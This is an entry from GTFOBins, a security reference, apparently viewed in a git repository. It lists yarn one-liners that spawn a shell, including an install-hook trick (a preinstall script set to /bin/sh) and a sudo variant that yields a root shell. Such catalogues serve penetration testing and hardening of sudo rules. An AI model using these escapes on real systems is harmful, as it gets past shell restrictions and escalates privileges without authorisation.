GTFOBins.github.io/_gtfobins/yarn.md

13 lines
403 B
Markdown
Raw Permalink Normal View History

2021-06-18 12:06:46 +00:00
---
functions:
shell:
- code: yarn exec /bin/sh
- description: Additionally, arbitrary script names can be used in place of `preinstall` and triggered by name with, e.g., `yarn --cwd $TF run preinstall`.
code: |
2021-06-18 12:16:48 +00:00
TF=$(mktemp -d)
echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json
yarn --cwd $TF install
2021-06-18 12:06:46 +00:00
sudo:
- code: sudo yarn exec /bin/sh
---